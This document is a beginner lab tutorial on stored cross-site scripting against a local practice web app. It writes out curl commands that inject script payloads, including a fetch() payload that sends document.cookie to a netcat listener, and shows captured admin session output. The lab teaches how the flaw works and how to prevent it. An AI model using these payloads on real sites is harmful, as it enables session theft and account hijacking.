Stored Cross-Site Scripting

CybersecurityBeginner
Practice Now

Introduction

Stored Cross-Site Scripting (Stored XSS) is a highly dangerous web vulnerability that occurs when a web application gathers input from a user, stores it in a database (like a comment section, forum post, or user profile), and later embeds that input into a webpage without proper sanitization.

Unlike Reflected XSS, which requires a victim to click a specifically crafted link, Stored XSS is persistent. Once the malicious payload is injected into the database, it will automatically execute in the browser of any user who visits the infected page. This makes it an incredibly potent tool for attackers to steal session cookies, redirect users, or perform unauthorized actions on behalf of the victim.

That persistence is what makes stored XSS especially dangerous. The attacker does the injection once, but the application itself keeps replaying the payload to future visitors.

In this lab, you will interact with a vulnerable local web application. You will learn how to identify where user input is stored, inject a persistent JavaScript payload, and simulate a scenario where an administrator's session cookie is stolen when they view your injected comment.

Identify Input Storage (Comments/Profiles)

In this step, you will interact with a vulnerable web application running locally on your machine. The application features a simple comment section where users can post messages.

To exploit a Stored XSS vulnerability, you first need to identify where the application accepts user input and where that input is subsequently displayed. We will use the curl command-line tool to interact with the web server.

This is the stored XSS lifecycle in one sentence: input enters the application, gets stored, and later gets rendered into another user's browser.

First, let's view the current state of the application by sending a GET request to the main page. Run the following command in your terminal:

curl http://localhost:5000/

You should see an empty comments list in the HTML output:

<h1>Comments</h1><ul></ul>

Now, let's submit a normal comment to see how the application handles and stores our input. We will use curl with the -X POST flag to send data to the /post endpoint. Execute the following command:

curl -X POST -d "comment=Hello World" http://localhost:5000/post

The server should respond with Comment added!.

To verify that your input was permanently stored in the database and is now being reflected on the webpage, fetch the main page again:

curl http://localhost:5000/

You will now see your comment embedded directly into the HTML structure:

<h1>Comments</h1><ul><li>Hello World</li></ul>

Because the application takes our input and places it directly into the HTML without any filtering or sanitization, it is highly likely to be vulnerable to Stored XSS.

Inject Persistent Payload

Now that we have confirmed the application stores and reflects our input, we will attempt to inject a persistent JavaScript payload.

At this point the database becomes an attack delivery mechanism. The payload is no longer just text in storage; it is future script content waiting to be rendered.

In a real-world scenario, if an attacker injects a <script> tag into a vulnerable comment section, the server saves that tag in its database. Whenever any user (including administrators) visits the comment page, their browser will download the HTML, see the <script> tag, and execute the attacker's code.

Let's inject a classic XSS proof-of-concept payload that triggers a browser alert box. Run the following command to post the malicious comment:

curl -X POST -d "comment=<script>alert('XSS')</script>" http://localhost:5000/post

After the server confirms the comment was added, fetch the main page one more time to inspect the HTML source code:

curl http://localhost:5000/

Look closely at the output:

<h1>Comments</h1><ul><li>Hello World</li><li><script>alert('XSS')</script></li></ul>

Notice that the <script>alert('XSS')</script> payload is rendered exactly as we typed it. The application did not encode the angle brackets (< and >) into safe HTML entities (like &lt; and &gt;).

If a real user were to open this page in a web browser like Chrome or Firefox, the browser would interpret the injected text not as a comment, but as executable JavaScript, and an alert box displaying "XSS" would immediately pop up on their screen.

Steal Session Cookies (Simulated)

While popping an alert box proves the vulnerability exists, real attackers use XSS for malicious purposes, such as stealing session cookies. If an attacker steals an administrator's session cookie, they can hijack the admin's account and take full control of the web application.

To steal a cookie, an attacker injects JavaScript that reads the victim's document.cookie and sends it to a server controlled by the attacker.

First, we need to set up a "listener" to catch the stolen cookie. We will use the nc (netcat) utility to listen on port 8000 and save any incoming HTTP requests to a file named stolen_cookie.txt. The & at the end runs this command in the background so you can continue using your terminal.

nc -l -p 8000 > stolen_cookie.txt &

Next, we will inject our malicious payload into the vulnerable application. This payload uses the JavaScript fetch() API to silently send an HTTP request to our netcat listener, appending the victim's cookie to the URL.

Execute the following command to inject the cookie-stealing payload:

curl -X POST -d "comment=<script>fetch('http://localhost:8000/?cookie=' + document.cookie)</script>" http://localhost:5000/post

The payload is now permanently stored in the database. It is lying in wait for a victim to visit the page.

Simulate Victim Interaction

In a real attack, the attacker simply waits for users to browse the infected website. Because we are working in a terminal environment without a graphical web browser, we have provided a Python script that simulates an administrator visiting the page.

This script will act like a web browser: it will read the comments from the database, detect the <script> tag you injected, and "execute" it by making the HTTP request to your netcat listener, passing along a simulated administrator cookie.

Run the simulation script using the following command:

python3 simulate_victim.py

You should see output indicating that the simulated admin visited the page and the injected script was executed:

Admin victim is visiting the page...
[Browser Simulator] Executing injected script...

When the simulated browser executed your payload, it sent an HTTP request to the netcat listener you started in the previous step. Netcat captured this request and saved it to stolen_cookie.txt.

Let's inspect the contents of the file to see if we successfully captured the administrator's session cookie:

cat stolen_cookie.txt

You should see the raw HTTP GET request captured by netcat, which includes the stolen cookie in the URL path:

GET /?cookie=admin_session=super_secret_admin_token_999 HTTP/1.1
Host: localhost:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Congratulations! You have successfully exploited a Stored XSS vulnerability to hijack a simulated user session. With this admin_session token, an attacker could modify their own browser cookies and impersonate the administrator on the web application.

Summary

In this lab, you successfully explored and exploited a Stored Cross-Site Scripting (XSS) vulnerability. You learned how to identify input fields that persistently store data and reflect it without proper HTML sanitization. Next, you injected basic JavaScript payloads to confirm the presence of the vulnerability. Then, you crafted a malicious payload designed to exfiltrate sensitive data, such as session cookies, to an external listener. Finally, you understood the severe impact of Stored XSS by simulating a scenario where an administrator's session is compromised simply by viewing an infected page.

Stored XSS is a critical security flaw because it requires no social engineering once the payload is planted; the application itself delivers the attack to its users. To prevent these vulnerabilities, developers must always implement strict input validation and context-aware output encoding (such as converting < to &lt;) before rendering user-supplied data in a web browser.